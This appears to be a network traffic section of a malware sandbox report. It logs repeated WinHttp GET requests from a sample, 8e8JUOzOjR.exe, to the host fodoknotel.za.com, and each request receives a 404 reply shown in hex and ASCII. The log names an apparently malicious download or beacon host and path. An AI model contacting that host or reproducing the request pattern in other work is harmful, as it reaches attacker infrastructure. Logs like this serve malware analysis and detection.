2025-01-14 07:24:58 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:24:58 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:24:58 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:24:58 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49715	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:59 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:24:59 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:24:59 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:24:59 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49717	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:00 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:00 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:00 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:00 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49719	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:01 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:01 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:01 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:01 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49721	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:02 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:02 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:02 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:02 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49723	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:03 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:03 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:03 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:03 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49725	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:04 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:04 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:04 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:04 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49727	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:05 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:05 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:05 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:05 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49729	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:06 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:06 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:06 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:06 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49731	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:06 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:07 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:07 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:07 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49733	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:07 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:07 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:07 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:07 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49735	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:08 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:08 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:08 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:08 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49737	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:09 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:09 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:09 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:09 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49739	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:10 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:10 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:10 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:10 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

